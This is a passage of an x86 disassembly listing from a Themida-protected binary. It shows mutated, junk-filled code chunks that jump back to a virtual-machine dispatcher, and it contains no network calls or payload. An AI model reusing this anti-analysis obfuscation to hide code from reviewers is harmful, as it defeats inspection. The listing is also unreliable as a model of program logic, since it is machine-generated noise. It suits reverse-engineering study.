loc_557EBF: ; CODE XREF: sub_559C84+5536j
pop ecx
pop ebp
xchg edi, [esp-12h+arg_C+2]
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_557ECA: ; CODE XREF: sub_559C84-278Aj
pop edx
add esp, 4
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557ED1 proc near ; CODE XREF: sub_559C84+2D53j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E31F SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push ebx
mov ebx, 4
jmp loc_55E31F
sub_557ED1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557EE7: ; CODE XREF: sub_559C84+C11j
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+18h+var_18]
pop eax
push esi
mov esi, esp
sub esp, 4
mov [esp+20h+var_20], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+20h+var_20]
jmp loc_5565D8
; ---------------------------------------------------------------------------
loc_557F0D: ; CODE XREF: sub_559C84-1499j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_557F12: ; CODE XREF: sub_559C84+1A43j
neg ebp
add ebp, 4E624C0Dh
jmp loc_55A58A
; ---------------------------------------------------------------------------
loc_557F1F: ; CODE XREF: sub_559C84-481Fj
add [esp+44h+var_46+2], 4
mov esi, [esp+44h+var_46+2]
add esp, 4
add esi, 4
sub esp, 4
mov [esp+44h+var_46+2], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+44h+var_46+2]
pop esp
mov [esp+40h+var_42+2], ebx
mov ebx, 4
sub esi, ebx
jmp loc_55DC75
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557F5F proc near ; CODE XREF: sub_559C84-1F76j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], eax
push edx
push eax
mov al, 44h
dec al
not al
add al, 34h
jmp loc_55CD3F
sub_557F5F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557F74: ; CODE XREF: sub_559C84+AAj
pop esp
mov [esp+38h+var_3A+2], ebp
push ebx
sub [esp+3Ch+var_3E+2], 53106C7h
jmp loc_5535EB
; ---------------------------------------------------------------------------
loc_557F85: ; CODE XREF: sub_559C84+3F6Aj
pop esp
jmp loc_55C9D5
; ---------------------------------------------------------------------------
loc_557F8B: ; CODE XREF: sub_559C84+5368j
add al, dh
jmp loc_55F356
; ---------------------------------------------------------------------------
loc_557F92: ; CODE XREF: sub_559C84-3D05j
mov ch, ah
jmp loc_55872F
; ---------------------------------------------------------------------------
loc_557F99: ; CODE XREF: sub_559C84-4C57j
push esi
push esp
jmp loc_55DEFA
; ---------------------------------------------------------------------------
loc_557FA0: ; CODE XREF: sub_559C84-60Cj
add esi, 4
xchg esi, [esp+52h+var_52]
pop esp
jmp loc_555B79
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557FAF proc near ; DATA XREF: Themida_:00553478o
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp+0], cl
pushf
jmp loc_55351F
sub_557FAF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557FBE: ; CODE XREF: sub_559C84+34B0j
add edx, 49E67266h
sub edx, 15330BAFh
jmp loc_55812D
; ---------------------------------------------------------------------------
loc_557FCF: ; CODE XREF: sub_559C84-1300j
push esi
push eax
jmp loc_559E75
; ---------------------------------------------------------------------------
loc_557FD6: ; CODE XREF: sub_559C84-386Ej
add ebx, 4
xchg ebx, [esp+5Eh+var_60+2]
pop esp
push 4740h
mov [esp+5Eh+var_60+2], ebx
jmp loc_55CEDE
; ---------------------------------------------------------------------------
loc_557FED: ; CODE XREF: sub_559C84-2690j
pop edx
push [esp+4Eh+var_4E]
pop eax
jmp loc_5593F5
; ---------------------------------------------------------------------------
loc_557FF7: ; CODE XREF: sub_559C84-2778j
add esp, 4
sub ebx, edi
jmp loc_559437
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_558001: ; CODE XREF: sub_558BA2+Ej
add ecx, ebx
pop ebx
xor eax, ecx
mov ecx, [esp+0]
jmp loc_55391C
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55800E: ; CODE XREF: sub_559C84-64A1j
pop eax
push 17ABh
mov [esp+24h+var_24], esi
jmp loc_55F31F
; ---------------------------------------------------------------------------
loc_55801C: ; CODE XREF: sub_559C84+1791j
mov ax, word ptr [esp+24h+var_24]
jmp loc_55866A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558025: ; CODE XREF: Themida_:00557A51j
pop esp
jmp loc_55AACE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55802B: ; CODE XREF: sub_559C84+621j
add eax, 4
xchg eax, [esp+24h+var_24]
pop esp
push edx
mov edx, esp
jmp loc_557B5B
; ---------------------------------------------------------------------------
loc_55803C: ; CODE XREF: sub_559C84-39BFj
or ebp, 1CF75158h
dec ebp
xor ebp, 3BBC56AEh
sub ebp, 3CC1BF75h
and edi, ebp
pop ebp
jmp loc_559A9A
; ---------------------------------------------------------------------------
loc_558057: ; CODE XREF: sub_559C84+3E45j
mov eax, esp
push ebp
push edi
mov edi, 6CD174CAh
jmp loc_55CA14
; ---------------------------------------------------------------------------
loc_558065: ; CODE XREF: sub_559C84+398j
push edi
mov edi, esp
push 90Fh
mov [esp+48h+var_4A+2], eax
push ebx
push edx
push 32EA73B3h
pop edx
jmp loc_55987A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5538DF
loc_55807D: ; CODE XREF: sub_5538DF+Bj
pop ebx
neg dh
push bx
jmp loc_558649
; END OF FUNCTION CHUNK FOR sub_5538DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558087: ; CODE XREF: sub_559C84+5AF0j
sub ebp, ecx
mov ecx, [esp+50h+var_52+2]
jmp loc_55BE52
; ---------------------------------------------------------------------------
loc_558091: ; CODE XREF: sub_559C84+D8Ej
push [esp+50h+var_52+2]
pop edi
add esp, 4
sub esp, 4
mov [esp+50h+var_52+2], edx
mov edx, 4
add esi, edx
pop edx
jmp loc_55EA45
; ---------------------------------------------------------------------------
loc_5580AB: ; CODE XREF: sub_559C84-1016j
mov ebx, 4
sub esi, 258163B0h
add esi, ebx
jmp loc_554CF3
; ---------------------------------------------------------------------------
loc_5580BD: ; CODE XREF: sub_559C84-3C62j
bswap eax
push 31B6h
mov [esp+46h+var_46], eax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5580CC: ; CODE XREF: sub_559C84-755j
mov bh, dh
pop edx
jmp loc_55B32C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F569
loc_5580D4: ; CODE XREF: sub_55F569-7292j
push esi
mov esi, 0E085346h
or esi, 662B0F8Fh
shl esi, 3
jmp loc_55ADD8
; END OF FUNCTION CHUNK FOR sub_55F569
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 548Dh
jmp loc_55CDAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558105: ; CODE XREF: sub_559C84+3DD9j
xor ch, 0FDh
add al, 4Ch
sub al, ch
jmp loc_55616E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558111: ; CODE XREF: Themida_:0055656Cj
pop ecx
jmp loc_55D2DB
; ---------------------------------------------------------------------------
loc_558117: ; CODE XREF: Themida_:005554E9j
mov cl, 0A6h
sub dh, cl
pop cx
and ch, dh
pop edx
sub ch, 88h
sub al, ch
mov ecx, [esp]
jmp loc_5587D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55812D: ; CODE XREF: sub_559C84-1CBAj
add edx, edi
add edx, 15330BAFh
push ebx
mov ebx, 385523FDh
inc ebx
neg ebx
shl ebx, 8
jmp loc_55E0F3
; ---------------------------------------------------------------------------
loc_558146: ; CODE XREF: sub_559C84+1633j
and edi, 28690070h
shl edi, 7
shr edi, 6
xchg ebp, edi
not ebp
xor edi, ebp
xor ebp, edi
xor edi, ebp
push edx
jmp loc_55FA86
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558162: ; CODE XREF: Themida_:005587DCj
push dx
jmp loc_553AE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558169: ; CODE XREF: sub_559C84+3A4Dj
xor [esp+56h+var_58+2], ebp
xor ebp, [esp+56h+var_58+2]
mov esp, [esp+56h+var_58+2]
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558177: ; CODE XREF: Themida_:0055F0D9j
mov esi, 161625F9h
jmp loc_55D4D5
; ---------------------------------------------------------------------------
loc_558181: ; CODE XREF: Themida_:0055EB0Ej
xor edi, 5BBA3461h
dec edi
sub edi, 384CB3E2h
sub eax, edi
pop edi
push ebp
mov ebp, 428D2B36h
inc ebp
add ebp, 13E80CBFh
neg ebp
add ebp, 3C8D1928h
add ebp, 1AAC4A95h
add ebp, 22D2E12h
add eax, ebp
pop ebp
add eax, ebx
push edx
push edi
mov edi, 5CB1243h
jmp loc_557873
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5581C3: ; CODE XREF: sub_559C84-EF4j
add ebp, esi
mov esi, [esp+56h+var_58+2]
jmp loc_55AA8E
; ---------------------------------------------------------------------------
loc_5581CD: ; CODE XREF: sub_559C84+3652j
sub ebx, eax
push eax
jmp loc_55C5FD
; ---------------------------------------------------------------------------
loc_5581D5: ; CODE XREF: sub_559C84+2D4Cj
xor ecx, 7DEA2972h
sub ecx, 0AFAA21DDh
or edx, ecx
pop ecx
inc edx
sub edx, 0FFFFFFFFh
sub edx, 7BE4567Fh
push edi
mov edi, 311737D5h
xor edi, 1A6FD8F8h
add edx, edi
jmp loc_558AF4
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_558204 proc near ; CODE XREF: sub_559C84-48E7j
var_4 = dword ptr -4
push ebx
mov eax, [esp+4+var_4]
add esp, 4
mov edx, eax
pop eax
jmp loc_55D69B
sub_558204 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558213: ; CODE XREF: sub_559C84-3CAEj
sub eax, 45C56F68h
jmp loc_55DFEA
; ---------------------------------------------------------------------------
loc_55821D: ; CODE XREF: sub_559C84-2C19j
add ebx, edx
pop edx
sub ebx, 57232CE8h
add ebx, eax
add ebx, 57232CE8h
push edi
push ecx
jmp loc_55913D
; ---------------------------------------------------------------------------
loc_558235: ; CODE XREF: sub_559C84+15DAj
mov ecx, 2
sub ebp, 7DB82F96h
add ebp, 1BA62DA4h
add ebp, ecx
sub ebp, 1BA62DA4h
jmp loc_55B214
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_558253: ; CODE XREF: sub_555BE3+197Ej
push edi
push [esp+8+var_4]
jmp loc_55DD59
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55825D: ; CODE XREF: sub_559C84+3E83j
mov ecx, edx
jmp loc_55EDB4
; ---------------------------------------------------------------------------
loc_558264: ; CODE XREF: sub_559C84-BACj
mov al, 0F4h
not al
and al, 66h
xor al, 6Ch
jmp loc_55EFE6
; ---------------------------------------------------------------------------
loc_558271: ; CODE XREF: sub_559C84-61FCj
mov eax, esp
add eax, 4
push 6455h
mov [esp+4Ah+var_4A], ebx
mov ebx, 69186683h
sub ebx, 6918667Fh
add eax, ebx
pop ebx
xchg eax, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
push [esp+46h+var_46]
push [esp+4Ah+var_4A]
pop ecx
push ebp
mov ebp, esp
push 5325h
mov [esp+52h+var_52], ecx
mov ecx, 4AD130D2h
or ecx, 784C19FDh
neg ecx
jmp loc_55B642
; ---------------------------------------------------------------------------
loc_5582B8: ; CODE XREF: sub_559C84-51CCj
mov ebx, edx
jmp loc_558F4B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5582BF: ; CODE XREF: Themida_:00559633j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
push ebx
jmp loc_55C6A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F569
loc_5582D5: ; CODE XREF: sub_55F569+12j
sub ebx, esi
jmp loc_5580D4
; END OF FUNCTION CHUNK FOR sub_55F569
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_5592BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5582F6: ; CODE XREF: sub_559C84+5423j
mov [edx+30h], ecx
pop ecx
popa
popf
retn
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558302: ; CODE XREF: sub_559C84-B91j
add eax, ebx
mov [eax], dl
jmp loc_55F68A
; ---------------------------------------------------------------------------
loc_55830B: ; CODE XREF: sub_559C84+4D64j
mov ecx, esp
push esi
jmp loc_5561CD
; ---------------------------------------------------------------------------
loc_558313: ; CODE XREF: sub_559C84-1339j
mov edi, esp
add edi, 4
sub esp, 4
mov [esp+2Ah+var_2C+2], ebx
mov ebx, 2
jmp sub_5591C7
; ---------------------------------------------------------------------------
loc_55832E: ; CODE XREF: sub_559C84+3EA6j
pop esi
or ebp, 59BB5A12h
jmp loc_55CF55
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_55C447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558342: ; CODE XREF: sub_559C84+BB7j
push eax
mov eax, 4426165h
add edi, 2A036470h
sub edi, eax
sub edi, 2A036470h
pop eax
sub edi, 2680AC2h
sub edi, 177252B3h
mov ecx, [esp+26h+var_28+2]
add esp, 4
add edi, 2
push edi
push [esp+26h+var_24+2]
pop edi
jmp loc_55912C
; ---------------------------------------------------------------------------
loc_55837A: ; CODE XREF: sub_559C84+4CA8j
pop eax
push ecx
mov ecx, esp
add ecx, 4
push ebx
push ebp
mov ebp, 22C06EB4h
jmp loc_559CC7
; ---------------------------------------------------------------------------
loc_558390: ; CODE XREF: sub_559C84-49F5j
add ecx, 4
add ecx, 4
xchg ecx, [esp+56h+var_58+2]
pop esp
mov edx, [esp+52h+var_52]
add esp, 4
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5583A8: ; CODE XREF: Themida_:00557A9Bj
push edi
sub dword ptr [esp], 6CA97ED6h
pop ecx
add ecx, 6CA97ED6h
pop edi
add eax, ecx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
jmp loc_559276
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5583CC: ; CODE XREF: sub_559C84+3DC8j
mov ecx, [esp+4Eh+var_4E]
jmp loc_556237
; ---------------------------------------------------------------------------
loc_5583D4: ; CODE XREF: sub_559C84-B7j
or edx, ecx
pop ecx
inc edx
inc edx
xor edx, 16FF1FDFh
sub eax, edx
pop edx
add eax, ebp
push ebx
mov ebx, 0A8D0B99h
xor ebx, 23C465A7h
shl ebx, 3
shr ebx, 4
xor ebx, 70951E79h
add ebx, 0F7927748h
add eax, ebx
pop ebx
pop ebp
sub eax, 4
xor eax, [esp+42h+var_42]
xor [esp+42h+var_42], eax
xor eax, [esp+42h+var_42]
mov esp, [esp+42h+var_42]
mov [esp+42h+var_42], eax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55841D: ; CODE XREF: sub_559C84+11D9j
mov dx, word ptr [esp+42h+var_42]
jmp loc_55D078
; ---------------------------------------------------------------------------
loc_558426: ; CODE XREF: sub_559C84+4AA6j
push 30D6h
mov [esp+46h+var_46], ebx
mov ebx, esp
add ebx, 4
jmp loc_5546A7
; ---------------------------------------------------------------------------
loc_55843B: ; CODE XREF: sub_559C84-2CEEj
pop cx
sub di, 0A035h
add bx, di
pop edi
add bx, ax
push dx
mov dx, 5906h
xor dx, 527Ah
jmp loc_55AE32
; ---------------------------------------------------------------------------
loc_558459: ; CODE XREF: sub_559C84-543j
sub ecx, 0FDCD7C7Ch
add edx, ecx
pop ecx
jmp loc_55F8AE
; ---------------------------------------------------------------------------
loc_558467: ; CODE XREF: sub_559C84+F4Cj
pop ecx
jmp loc_55E4CA
; ---------------------------------------------------------------------------
loc_55846D: ; CODE XREF: sub_559C84+39FAj
shr edx, 4
shr edx, 6
not edx
add edx, 65EA2CFCh
xor edx, 65C3310Ah
add esi, edx
pop edx
push ecx
jmp loc_55DF6D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55848A: ; CODE XREF: Themida_:00554A1Dj
push esi
mov esi, 58B31E98h
shr esi, 8
shr esi, 2
jmp loc_55AF65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55849B: ; CODE XREF: sub_559C84-161Fj
pop [esp+3Eh+var_3E]
add [esp+3Ah+var_3A], 4
mov edx, [esp+3Ah+var_3A]
add esp, 4
add edx, 4
sub esp, 4
jmp loc_55E198
; ---------------------------------------------------------------------------
loc_5584BC: ; CODE XREF: sub_559C84-B5Dj
xor ch, 2Ah
xor al, ch
push [esp+3Ah+var_3A]
mov ecx, [esp+3Eh+var_3E]
jmp loc_556BFC
; ---------------------------------------------------------------------------
loc_5584CC: ; CODE XREF: sub_559C84+50CAj
mov ch, bl
jmp loc_5593EB
; ---------------------------------------------------------------------------
loc_5584D3: ; CODE XREF: sub_559C84-34ACj
pop edx
pop ebp
jmp loc_55D099
; ---------------------------------------------------------------------------
loc_5584DA: ; CODE XREF: sub_559C84+3EE5j
add al, bl
push small 0E53h
jmp loc_554540
; ---------------------------------------------------------------------------
loc_5584E5: ; CODE XREF: sub_559C84+323Aj
push ecx
mov ecx, 422E3DB2h
add edx, ecx
pop ecx
sub edx, ebp
sub edx, 422E3DB2h
mov ebp, [esp+5Ah+var_5C+2]
jmp loc_559C01
; ---------------------------------------------------------------------------
loc_5584FE: ; CODE XREF: sub_559C84+4119j
sub al, 76h
sub al, dh
add al, 76h
pop dx
sub esp, 4
mov [esp+5Ch+var_5C], ebx
mov bl, 6Ch
xchg al, bl
not al
xchg al, bl
jmp loc_5572C6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55851C: ; CODE XREF: Themida_:005569B7j
pop ebx
jmp loc_55D3A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558522: ; CODE XREF: sub_559C84+33BCj
add byte ptr [esp+5Ch+var_5C], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55852B: ; CODE XREF: sub_559C84+1051j
add edi, 4
jmp loc_5564AE
; ---------------------------------------------------------------------------
loc_558533: ; CODE XREF: sub_559C84-4D06j
sub edx, esi
jmp loc_556802
; ---------------------------------------------------------------------------
loc_55853A: ; CODE XREF: sub_559C84+2D02j
push ecx
mov cl, 5Eh
mov dh, cl
push [esp+56h+var_58+2]
pop ecx
add esp, 4
not dh
sub esp, 2
mov word ptr [esp+56h+var_58+2], bx
push eax
mov ah, dh
mov bh, ah
mov eax, [esp+5Ah+var_5C+2]
add esp, 4
not bh
mov dh, bh
pop bx
xor dh, 76h
not dh
push eax
jmp loc_554F0B
; ---------------------------------------------------------------------------
loc_558571: ; CODE XREF: sub_559C84+614j
sub bl, 0E4h
push ecx
mov ch, 2
jmp loc_5562D3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55857C: ; CODE XREF: Themida_:00558EE0j
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
push ebp
mov ebp, esp
jmp loc_55C5EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55858E: ; CODE XREF: sub_559C84+5785j
mov [esp+5Ch+var_5C], ebp
push esp
mov ebp, [esp+60h+var_60]
add esp, 4
add ebp, 4
add ebp, 4
push ebp
push [esp+60h+var_5C]
pop ebp
pop [esp+60h+var_60]
mov esp, [esp+5Ch+var_5C]
jmp loc_559BBA
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5585B5: ; CODE XREF: Themida_:0055F468j
and ecx, 7D5C7E76h
jmp loc_553B35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559A2E
loc_5585C0: ; CODE XREF: sub_559A2E-4129j
add esp, 4
push 2BABh
mov [esp+0], ecx
jmp loc_55B3AE
; END OF FUNCTION CHUNK FOR sub_559A2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5585D3: ; CODE XREF: sub_559C84+2170j
add ebp, ecx
pop ecx
add ebp, 4
push ebp
push [esp+5Ch+var_58]
pop ebp
pop [esp+5Ch+var_5C]
pop esp
add esp, 4
jmp loc_55C98B
; ---------------------------------------------------------------------------
loc_5585EE: ; CODE XREF: sub_559C84-2F31j
xor al, bl
pop ebx
sub bl, al
pop ax
push eax
mov al, 0ADh
dec al
neg al
or al, 0D4h
sub al, 0A9h
sub bl, al
pop eax
sub bl, al
add bl, 2Bh
jmp loc_5554C3
; ---------------------------------------------------------------------------
loc_55860D: ; CODE XREF: sub_559C84+B65j
pop eax
xor ecx, esi
pop esi
not ecx
add ecx, 0E01042B3h
jmp loc_55ED33
; ---------------------------------------------------------------------------
loc_55861E: ; CODE XREF: sub_559C84+1674j
mov [esp+32h+var_34+2], ebp
mov ebp, 21F9330Dh
push ecx
mov ecx, 36E310D6h
shr ecx, 8
jmp loc_55D296
; ---------------------------------------------------------------------------
loc_558634: ; CODE XREF: sub_559C84+4806j
mov edx, esp
add edx, 4
push edi
mov edi, 4
add edx, edi
jmp loc_55A5AD
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5538DF
loc_558649: ; CODE XREF: sub_5538DF+47A3j
mov bh, 14h
add dh, bh
mov bx, [esp+2+var_2]
add esp, 2
add cl, dh
pop edx
jmp loc_559375
; END OF FUNCTION CHUNK FOR sub_5538DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5597C1
loc_55865C: ; CODE XREF: sub_5597C1+53j
mov esi, [esp+0Ch+var_C]
jmp loc_559BF3
; END OF FUNCTION CHUNK FOR sub_5597C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558664: ; CODE XREF: sub_559C84+51Fj
push esp
jmp loc_55849B
; ---------------------------------------------------------------------------
loc_55866A: ; CODE XREF: sub_559C84-1C64j
push ecx
mov ecx, esp
push 559Fh
jmp loc_55CB94
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558677: ; DATA XREF: Themida_:00553350o
push small 459Eh
mov [esp], sp
jmp loc_55F4AD
; =============== S U B R O U T I N E =======================================
sub_558684 proc near ; DATA XREF: Themida_:00553470o
lodsd
cmp dword ptr [edi+20h], 0
jz loc_556718
sub esi, 45573859h
sub esi, 3D5C6372h
add esi, eax
jmp loc_55BBBA
sub_558684 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5586A2: ; CODE XREF: sub_559C84-A13j
push eax
mov eax, 579A7B68h
mov edx, eax
mov eax, [esp+30h+var_30]
add esp, 4
dec edx
inc edx
not edx
sub edx, 667726A4h
jmp loc_556468
; ---------------------------------------------------------------------------
loc_5586C2: ; CODE XREF: sub_559C84+27BEj
sub ebx, eax
add ebx, 735B1EFCh
sub ebx, 115F2119h
push ecx
mov ecx, esp
push 6D9Eh
jmp loc_55CD58
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5586DD proc near ; CODE XREF: sub_559C84-21FFj
push ebx
mov bl, 0E2h
mov al, 35h
jmp loc_55BABE
sub_5586DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555D07
loc_5586E7: ; CODE XREF: sub_555D07+7F52j
mov ebx, [esp+8+var_8]
add esp, 4
sub ebp, 4EB963E7h
add ebp, esi
add ebp, 4EB963E7h
mov esi, [esp+4+var_4]
add esp, 4
push edi
jmp loc_55AE80
; END OF FUNCTION CHUNK FOR sub_555D07
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55870A: ; CODE XREF: sub_559C84+80Dj
pop ebx
push edi
jmp loc_55CCF5
; ---------------------------------------------------------------------------
loc_558711: ; CODE XREF: sub_559C84+3338j
pop eax
xchg esi, [esp+30h+var_30]
pop esp
mov [esp+2Ch+var_2C], eax
xor [esp+2Ch+var_2C], edx
jmp loc_5569BC
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557920
loc_558721: ; CODE XREF: sub_557920-691j
mov ebx, ecx
pop ecx
sub ebx, 315A636Dh
jmp loc_55EEDC
; END OF FUNCTION CHUNK FOR sub_557920
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55872F: ; CODE XREF: sub_559C84-1CF0j
pop eax
mov [edi+eax*4], ch
mov ecx, [esp+4Ah+var_4A]
add esp, 4
push [esp+46h+var_46]
jmp loc_55790E
; ---------------------------------------------------------------------------
loc_558741: ; CODE XREF: sub_559C84-3D4Ej
xchg esi, [esp+4Eh+var_4E]
jmp loc_55F26B
; ---------------------------------------------------------------------------
loc_558749: ; CODE XREF: sub_559C84+2582j
xchg ebx, [esp+4Eh+var_4E]
pop esp
mov [esp+4Ah+var_4A], edx
push ecx
jmp loc_55BEF7
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_558756 proc near ; CODE XREF: sub_559C84+14FFj
push ebp
mov ebp, 2B2D1C06h
add esi, ebp
pop ebp
jmp loc_55A0FE
sub_558756 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558764: ; CODE XREF: sub_559C84+27F2j
xchg eax, ebx
not eax
xchg eax, ebx
jmp loc_55F383
; ---------------------------------------------------------------------------
loc_55876D: ; CODE XREF: sub_559C84+17CFj
add ecx, 4
xchg ecx, [esp+4Eh+var_4E]
jmp loc_55BBD5
; ---------------------------------------------------------------------------
loc_558778: ; CODE XREF: sub_559C84+11B3j
mov ax, word ptr [esp+4Eh+var_4E]
push edx
mov edx, esp
add edx, 4
add edx, 2
xchg edx, [esp+52h+var_52]
pop esp
jmp loc_55F5F0
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555531
loc_558791: ; CODE XREF: sub_555531+1j
mov ebp, 5138045Fh
mov ebx, 0ADD63B47h
jmp loc_55397D
; END OF FUNCTION CHUNK FOR sub_555531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5561B6
loc_5587A0: ; CODE XREF: sub_5561B6+70Ej
sub ebx, 5DDDC170h
add ebp, ebx
jmp loc_55E7A9
; END OF FUNCTION CHUNK FOR sub_5561B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555C35
loc_5587AD: ; CODE XREF: sub_555C35+1j
not [esp+4+var_4]
pop ebx
push ebp
mov ebp, 37AA3474h
neg ebp
neg ebp
or ebp, 66FC7827h
add ebp, 0B740D70Bh
jmp loc_55C10C
; END OF FUNCTION CHUNK FOR sub_555C35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5587CC: ; CODE XREF: sub_559C84+50F8j
pop eax
add eax, ecx
pop ecx
jmp loc_557B03
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5587D5: ; CODE XREF: Themida_:00558128j
add esp, 4
add al, 18h
sub al, bl
jmp loc_558162
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5587E1: ; CODE XREF: sub_559C84-3B28j
add eax, ebp
pop ebp
xchg eax, [esp+3Ch+var_3E+2]
pop esp
mov fs:[edx], al
jmp loc_557F0D
; ---------------------------------------------------------------------------
loc_5587F0: ; CODE XREF: sub_559C84+55ADj
sub esi, 4
xchg esi, [esp+38h+var_3A+2]
pop esp
jmp loc_55A47E
; ---------------------------------------------------------------------------
loc_5587FC: ; CODE XREF: sub_559C84-2BCCj
add edi, ebx
pop ebx
jmp sub_556D03
; ---------------------------------------------------------------------------
loc_558804: ; CODE XREF: sub_559C84-47BEj
shr al, 4
jmp loc_55CF92
; ---------------------------------------------------------------------------
